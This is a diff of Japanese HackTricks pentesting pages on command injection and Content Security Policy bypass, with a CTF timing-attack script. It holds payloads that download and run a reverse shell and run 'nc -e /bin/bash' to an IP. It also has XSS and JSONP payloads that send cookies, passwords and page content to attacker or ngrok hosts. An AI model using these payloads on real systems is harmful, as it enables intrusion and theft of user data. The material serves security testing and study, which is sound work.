{% endcontent-ref %}
### **例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### パラメータ
以下は、コードインジェクションや類似のRCE脆弱性に対して脆弱である可能性があるトップ25のパラメータです[リンク](https://twitter.com/trbughunters/status/1283133356922884096)から)。
```
?cmd={payload}
?exec={payload}
@ -90,9 +95,11 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload}
?print={payload}
```
### 時間ベースのデータ流出
データの抽出1文字ずつ
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -104,9 +111,11 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNSベースのデータ外部流出
ツールは`https://github.com/HoLyVieR/dnsbin`から入手可能で、dnsbin.zhack.caでホストされています。
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -116,17 +125,20 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
### フィルタリング回避
#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
## Brute-Force Detection List

View file

@ -1,4 +1,4 @@
# Content Security Policy (CSP) バイパス
# Content Security Policy (CSP) Bypass
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する
</details>
@ -27,7 +27,7 @@ HackTricks をサポートする他の方法:
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得る
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
\*\*[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
## CSPとは
@ -36,23 +36,28 @@ Content Security PolicyCSPは、主に **クロスサイトスクリプテ
CSPの実装は、**レスポンスヘッダーを介して**または **HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
* レスポンスヘッダーを介して実装されます:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* メタタグを使用して実装されます:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます
- `Content-Security-Policy`CSPを強制します。ブラウザは違反をブロックします。
- `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。
* `Content-Security-Policy`CSPを強制します。ブラウザは違反をブロックします。
* `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。
### リソースの定義
CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行や`eval()`の使用などの側面を制御します。例として次のポリシーがあります:
```bash
default-src 'none';
img-src 'self';
@ -64,6 +69,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### ディレクティブ
* **script-src**: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します。
@ -102,15 +108,9 @@ object-src 'none';
<details>
<summary>ナンスを再利用してスクリプトをロード</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
\`\`\`html ![](https://github.com/carlospolop/hacktricks/blob/jp/pentesting-web/content-security-policy-csp-bypass/x) \`\`\`
</details>
* `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
@ -127,9 +127,11 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
動作するペイロード:`"/><script>alert(1);</script>`
#### Iframesを介したself + 'unsafe-inline'
@ -139,50 +141,66 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
{% endcontent-ref %}
### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
動作するペイロード:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
もし、**許可されたJSコードが新しいスクリプトタグをDOMに作成する**ように何らかの方法でできれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行を許可される**でしょう。
### ワイルドカード (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
動作するペイロード:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-srcとdefault-srcの不足
{% hint style="danger" %}
**この方法はもはや機能していないようです**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
動作するペイロード:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### ファイルアップロード + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
もしJSファイルをアップロードできるなら、このCSPをバイパスできます
動作するペイロード:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
しかし、サーバーが**アップロードされたファイルを検証**し、特定の種類のファイルのみを**アップロードできるように制限している可能性が非常に高い**です。
さらに、サーバーが受け入れる拡張子を使用してファイル内に**JSコードをアップロード**できたとしても(例: _script.png_、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルの**MIMEタイプを拡張子に基づいて選択**し、Chromeのようなブラウザは画像であるべきものにJavaScriptコードを実行することを**拒否**するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、**Apacheは**_**.wave**_ **拡張子を認識しない**ため、**audio/\***のような**MIMEタイプで提供されません**。
@ -198,10 +216,13 @@ JSをインジェクトすることができない場合は、たとえば資格
{% hint style="warning" %}
以下のペイロードの一部には、**`unsafe-eval`が必要ない**ものもあります。
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
### Angularの脆弱性バージョンを読み込んで任意のJSを実行する:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -222,11 +243,13 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェック](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/):
{% hint style="info" %}
この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -250,17 +273,21 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
## Angular XSS from a class name:
### クラス名からのAngular XSS:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JSコードの悪用
[**このCTF解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスして任意のJSコードを実行できる可能性があります。
```html
<div
ng-controller="CarouselController as c"
@ -271,7 +298,9 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
さらに[**この解説記事からのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -286,21 +315,27 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### www.google.comを悪用したオープンリダイレクト
以下のURLはexample.comにリダイレクトします[こちら](https://www.landh.tech/blog/20240304-google-hack-50000/)から):
```
https://www.google.com/amp/s/example.com/
```
### サードパーティのエンドポイント + JSONP
\*.google.com/script.google.comを悪用する
Google Apps Scriptを悪用して、script.google.com内のページで情報を受信することが可能です。これは[このレポート](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)で行われています。
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -310,6 +345,7 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSPバイパス用に使用できるJSONPエンドポイントが含まれています。**
同じ脆弱性が発生する可能性があります**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、初期エンドポイントが信頼されているため、リダイレクトも信頼されます。
@ -318,11 +354,11 @@ https://www.youtube.com/oembed?callback=alert;
[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている多くの第三者ドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらの第三者の一部は次のとおりです
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | 外部流出 |
| Hotjar | \*.hotjar.com, ask.hotjar.io | 外部流出 |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | 実行 |
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------- |
| Facebook | www.facebook.com, \*.facebook.com | 外部流出 |
| Hotjar | \*.hotjar.com, ask.hotjar.io | 外部流出 |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | 実行 |
| Amazon CloudFront | \*.cloudfront.net | 外部流出、実行 |
| Amazon AWS | \*.amazonaws.com | 外部流出、実行 |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | 外部流出、実行 |
@ -332,9 +368,11 @@ https://www.youtube.com/oembed?callback=alert;
ターゲットのCSPで許可されたドメインのいずれかを見つけた場合、そのサードパーティサービスに登録して、データを外部サービスに外部流出させるか、コードを実行することができる可能性があります。
たとえば、次のCSPを見つけた場合
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
```plaintext
## Content Security Policy (CSP) Bypass
@ -353,33 +391,38 @@ To protect against CSP bypass attacks, website owners should:
- Implement strict CSP policies that only allow trusted sources for loading content.
- Regularly audit and update CSP policies to account for new threats and bypass techniques.
```
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass)のように、データを外部に送信することができるはずです。この場合、次の一般的な手順に従います:
1. [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass)のように、データを外部に送信することができるはずです。この場合、次の一般的な手順に従います:
2. こちらでFacebook Developerアカウントを作成します。
3. "Facebook Login"アプリを作成し、「Website」を選択します。
4. "Settings -> Basic"に移動し、「App ID」を取得します。
5. データを外部に送信したい対象サイトでは、Facebook SDKのガジェット「fbq」を直接使用して、「customEvent」とデータペイロードを介してデータを外部に送信できます。
6. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができますhttps://www.facebook.com/events_manager2/list/pixel/\[app-id]/test_events
6. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができますhttps://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
7. "Test Events"タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### RPORelative Path Overwriteを介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path OverwriteRPOと呼ばれる別のテクニックがあります。
たとえば、CSPがパス `https://example.com/scripts/react/` を許可している場合、次のようにバイパスできます:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
@ -404,31 +447,38 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる**場合(例:`<script src="/js/app.js">`)、**base** **tag** を悪用して、**あなた自身のサーバーからスクリプトを読み込ませてXSSを達成**することができます。\
脆弱なページが**httpS**で読み込まれている場合は、baseにhttpSのURLを使用してください。
```html
<base href="https://www.attacker.com/">
```
### AngularJS イベント
特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する可能性があります。それにもかかわらず、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト `$event` を提供します。この `$event` オブジェクトはCSP を回避するために悪用される可能性があります。特筆すべきは、Chrome では `$event/event` オブジェクトに `path` 属性が存在し、イベントの実行チェーンに関連するオブジェクト配列を保持しており、その末尾には常に `window` オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。
この配列を `orderBy` フィルタに向けることで、その配列を反復処理し、末端要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
このスニペットは、`ng-focus`ディレクティブの使用法を強調し、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを活用して`alert()`関数を実行し、それによって`document.cookie`を明らかにします。
**他のAngularバイパスを見つける** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJSとホワイトリストされたドメイン
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
## CSPバイパス
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックの詳細については、[このgitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)で利用可能な詳細ガイドを参照してください。
動作するペイロード:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -436,6 +486,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除されたり修正されたりしました)
### リダイレクトを介したバイパス
@ -445,6 +496,7 @@ CSPがサーバーサイドのリダイレクトに遭遇した場合、どう
ただし、[CSP仕様4.2.2.3. パスとリダイレクト](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。
以下に例を示します:
```html
<!DOCTYPE html>
<html>
@ -460,6 +512,7 @@ CSPがサーバーサイドのリダイレクトに遭遇した場合、どう
</body>
</html>
```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`と`/a/test`のスクリプトはどちらもCSPによってブロックされます。
ただし、最終的な`http://localhost:5555/301`は**サーバーサイドで`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。これはリダイレクトなので、**パスは考慮されず、スクリプトがロードされる**ため、パス制限をバイパスできます。
@ -473,22 +526,26 @@ CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが
[こちらで詳細を読む](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、`img-src *` は、任意のリソースからの画像をウェブページで使用できることを意味します。
この CSP は、画像を介してデータを外部に送信することでバイパスできますこの場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを実行し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workersを使用する
Service Workersの**`importScripts`**関数はCSPに制限されません:
Service Workersの\*\*`importScripts`\*\*関数はCSPに制限されません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -501,16 +558,18 @@ Service Workersの**`importScripts`**関数はCSPに制限されません:
#### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言**内に**貼り付けられている**場合、**ポリシー**を無効にするような方法で**ポリシー**を変更できます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を許可できます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
このディレクティブは既存のscript-srcディレクティブを**上書き**します。\
例はこちらで見つけることができます: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edgeでは、CSPに**`;_`**を追加するだけで、**Edge**は**ポリシー全体を無効に**します。\
Edgeでは、CSPに\*\*`;_`**を追加するだけで、Edgeは**ポリシー全体を無効に\*\*します。\
例: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック
@ -519,6 +578,7 @@ Edgeでは、CSPに**`;_`**を追加するだけで、**Edge**は**ポリシー
今回は、`<iframe`を使用して被害者に**あなたの制御下のページ****XSS**経由で読み込ませることができます被害者に情報を取得したいページにアクセスさせることができます**CSRF**ページの内容にアクセスすることはできませんがページの読み込みにかかる時間を**制御**できれば必要な情報を抽出できます
今回は、**フラグ**が抽出されます。**charが正しく推測されるたびに**SQLi経由で**レスポンス**が**スリープ関数**のために**より長く**かかります。その後、フラグを抽出できます:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -578,6 +638,7 @@ console.log(prefix);
run();
</script>
```
### ブックマークレットを介した攻撃
この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。
@ -588,7 +649,7 @@ run();
[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。
**IframeのCSPを制限**することができます。**`csp`**属性を使用します:
**IframeのCSPを制限**することができます。\*\*`csp`\*\*属性を使用します:
{% code overflow="wrap" %}
```html
@ -598,22 +659,26 @@ run();
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\
CSPは**HTMLメタタグ**を使用してより制限的にすることができ、インラインスクリプトは**削除**され、**それにより**、それらの**nonce**を許可し、**sha**を使用して特定のインラインスクリプトを有効にできます。
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出
サーバーがヘッダー**`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできればCRLFのためかもしれません、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**`<script>`******CSP`unsafe-inline`CSP`Content-Security-Policy-Report-Only`
サーバーがヘッダー\*\*`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできればCRLFのためかもしれません、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**`<script>`**で**ラップ\*\*し、CSPで`unsafe-inline`が許可されていない可能性が非常に高いため、これはCSPエラーをトリガーし、スクリプトの一部機密情報を含むが`Content-Security-Policy-Report-Only`からサーバーに送信されます
例として、[**このCTF解説**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)を参照してください。
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### CSPとIframeを使用した情報漏洩
* `iframe`が作成され、CSPに許可されているURLここでは`https://example.redirect.com`と呼びます)を指すようになります。
@ -623,9 +688,11 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動により機密情報が漏洩する可能性がある点です。
別の技術は、CSP自体を悪用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、CSPを調整して故意にブロックされた特定のドメインを含めることに基づいています。たとえば、秘密のサブドメインが不明な文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整しながら、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全なURLを明らかにすることができます。
両方の方法は、CSPの実装とブラウザの動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。
@ -645,7 +712,7 @@ CSPによってブロックまたは許可されるリクエストを監視す
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**で私たちに参加し、今日からトップハッカーと協力を始めましょう!
\*\*[**Discord**](https://discord.com/invite/N3FrSbmwdy)\*\*で私たちに参加し、今日からトップハッカーと協力を始めましょう!
## CSPをバイパスするための安全でないテクロジー
@ -659,15 +726,17 @@ PHPはデフォルトでレスポンスを4096バイトまでバッファリン
### エラーページの書き換え
[**この解説**](https://blog.ssrf.kr/69)によると、エラーページおそらくCSPなしでを読み込んでそのコンテンツを書き換えることで、CSP保護をバイパスすることが可能だったようです。
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress
SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、**脆弱なエンドポイント**は**`opener`**オブジェクトを**ペイロード**で使用して、**悪用したい実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
